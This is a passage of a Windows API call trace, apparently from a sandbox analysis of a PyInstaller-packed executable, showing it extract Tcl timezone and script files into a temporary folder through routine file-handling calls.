lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.818] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.818] GetFileType (hFile=0x10c) returned 0x1 [0043.818] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.819] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.819] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.819] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.819] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.819] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.819] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.819] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.819] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.819] CloseHandle (hObject=0x10c) returned 1 [0043.819] GetLastError () returned 0x0 [0043.819] SetLastError (dwErrCode=0x0) [0043.819] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\WET") returned 60 [0043.819] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\WET" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\wet"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.819] GetLastError () returned 0x2 [0043.819] SetLastError (dwErrCode=0x2) [0043.820] GetLastError () returned 0x2 [0043.820] SetLastError (dwErrCode=0x2) [0043.820] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\WET", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\WET", lpFilePart=0x0) returned 0x3b [0043.820] GetLastError () returned 0x2 [0043.820] SetLastError (dwErrCode=0x2) [0043.820] GetLastError () returned 0x2 [0043.820] SetLastError (dwErrCode=0x2) [0043.820] GetLastError () returned 0x2 [0043.820] SetLastError (dwErrCode=0x2) [0043.820] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\WET") returned 60 [0043.820] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.820] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\WET" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\wet"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.820] GetFileType (hFile=0x10c) returned 0x1 [0043.820] htonl (hostlong=0x261a0000) returned 0x1a26 [0043.820] WriteFile (in: hFile=0x10c, lpBuffer=0x562098*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x562098*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0043.821] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.821] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xa26, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xa26, lpOverlapped=0x0) returned 1 [0043.821] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.821] CloseHandle (hObject=0x10c) returned 1 [0043.821] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.821] htonl (hostlong=0x30000000) returned 0x30 [0043.821] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.821] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.821] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.822] GetFileType (hFile=0x10c) returned 0x1 [0043.822] htonl (hostlong=0x96415d00) returned 0x5d4196 [0043.822] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61f196, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.822] htonl (hostlong=0x7f000000) returned 0x7f [0043.822] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x7f) returned 0x55cfe0 [0043.822] htonl (hostlong=0x7f000000) returned 0x7f [0043.822] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.822] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.822] htonl (hostlong=0x95000000) returned 0x95 [0043.822] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x95) returned 0x550600 [0043.822] htonl (hostlong=0x7f000000) returned 0x7f [0043.822] htonl (hostlong=0x95000000) returned 0x95 [0043.822] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.822] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.822] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.822] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.822] CloseHandle (hObject=0x10c) returned 1 [0043.822] GetLastError () returned 0x0 [0043.822] SetLastError (dwErrCode=0x0) [0043.822] GetLastError () returned 0x0 [0043.822] SetLastError (dwErrCode=0x0) [0043.822] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.822] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.822] GetFileType (hFile=0x10c) returned 0x1 [0043.823] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.823] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.823] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.823] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.823] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.823] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.823] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.823] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.823] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.823] CloseHandle (hObject=0x10c) returned 1 [0043.823] GetLastError () returned 0x0 [0043.823] SetLastError (dwErrCode=0x0) [0043.823] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.823] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.823] GetFileType (hFile=0x10c) returned 0x1 [0043.823] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.823] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.823] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.823] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.823] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.823] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.823] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.823] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.823] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.823] CloseHandle (hObject=0x10c) returned 1 [0043.824] GetLastError () returned 0x0 [0043.824] SetLastError (dwErrCode=0x0) [0043.824] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Zulu") returned 61 [0043.824] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Zulu" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\zulu"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.824] GetLastError () returned 0x2 [0043.824] SetLastError (dwErrCode=0x2) [0043.824] GetLastError () returned 0x2 [0043.824] SetLastError (dwErrCode=0x2) [0043.824] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Zulu", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Zulu", lpFilePart=0x0) returned 0x3c [0043.824] GetLastError () returned 0x2 [0043.824] SetLastError (dwErrCode=0x2) [0043.824] GetLastError () returned 0x2 [0043.824] SetLastError (dwErrCode=0x2) [0043.824] GetLastError () returned 0x2 [0043.824] SetLastError (dwErrCode=0x2) [0043.824] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Zulu") returned 61 [0043.824] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.824] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Zulu" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\zulu"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.824] GetFileType (hFile=0x10c) returned 0x1 [0043.824] htonl (hostlong=0x95000000) returned 0x95 [0043.824] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.825] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x95, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x95, lpOverlapped=0x0) returned 1 [0043.826] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.826] CloseHandle (hObject=0x10c) returned 1 [0043.826] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.826] htonl (hostlong=0x30000000) returned 0x30 [0043.826] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.826] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.826] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.827] GetFileType (hFile=0x10c) returned 0x1 [0043.827] htonl (hostlong=0x15425d00) returned 0x5d4215 [0043.827] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61f215, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.827] htonl (hostlong=0x10050000) returned 0x510 [0043.827] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x510) returned 0x550600 [0043.827] htonl (hostlong=0x10050000) returned 0x510 [0043.827] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.827] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.827] htonl (hostlong=0x42120000) returned 0x1242 [0043.827] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1242) returned 0x562098 [0043.827] htonl (hostlong=0x10050000) returned 0x510 [0043.827] htonl (hostlong=0x42120000) returned 0x1242 [0043.827] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x5632e8 [0043.827] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5632e8 | out: hHeap=0x530000) returned 1 [0043.827] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.827] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.827] CloseHandle (hObject=0x10c) returned 1 [0043.827] GetLastError () returned 0x0 [0043.827] SetLastError (dwErrCode=0x0) [0043.827] GetLastError () returned 0x0 [0043.827] SetLastError (dwErrCode=0x0) [0043.827] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.827] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.827] GetFileType (hFile=0x10c) returned 0x1 [0043.827] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.827] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.827] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.828] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.828] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.828] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.828] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.828] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.828] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.828] CloseHandle (hObject=0x10c) returned 1 [0043.828] GetLastError () returned 0x0 [0043.828] SetLastError (dwErrCode=0x0) [0043.828] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\word.tcl") returned 58 [0043.828] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\word.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\word.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.828] GetLastError () returned 0x2 [0043.828] SetLastError (dwErrCode=0x2) [0043.828] GetLastError () returned 0x2 [0043.828] SetLastError (dwErrCode=0x2) [0043.828] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\word.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\word.tcl", lpFilePart=0x0) returned 0x39 [0043.828] GetLastError () returned 0x2 [0043.828] SetLastError (dwErrCode=0x2) [0043.828] GetLastError () returned 0x2 [0043.828] SetLastError (dwErrCode=0x2) [0043.828] GetLastError () returned 0x2 [0043.828] SetLastError (dwErrCode=0x2) [0043.828] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\word.tcl") returned 58 [0043.828] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.828] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\word.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\word.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.829] GetFileType (hFile=0x10c) returned 0x1 [0043.829] htonl (hostlong=0x42120000) returned 0x1242 [0043.829] WriteFile (in: hFile=0x10c, lpBuffer=0x562098*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x562098*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0043.830] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.830] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x242, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x242, lpOverlapped=0x0) returned 1 [0043.830] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.830] CloseHandle (hObject=0x10c) returned 1 [0043.831] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.831] htonl (hostlong=0x20000000) returned 0x20 [0043.831] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.831] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.831] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.831] GetFileType (hFile=0x10c) returned 0x1 [0043.831] htonl (hostlong=0x25475d00) returned 0x5d4725 [0043.831] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61f725, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.831] htonl (hostlong=0x2a0c0000) returned 0xc2a [0043.831] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc2a) returned 0x55e278 [0043.831] htonl (hostlong=0x2a0c0000) returned 0xc2a [0043.831] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.831] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.831] htonl (hostlong=0xb71f0000) returned 0x1fb7 [0043.831] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1fb7) returned 0x562098 [0043.831] htonl (hostlong=0x2a0c0000) returned 0xc2a [0043.831] htonl (hostlong=0xb71f0000) returned 0x1fb7 [0043.831] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x564058 [0043.831] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x564058 | out: hHeap=0x530000) returned 1 [0043.831] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0043.831] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.831] CloseHandle (hObject=0x10c) returned 1 [0043.831] GetLastError () returned 0x0 [0043.831] SetLastError (dwErrCode=0x0) [0043.831] GetLastError () returned 0x0 [0043.832] SetLastError (dwErrCode=0x0) [0043.832] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0043.832] 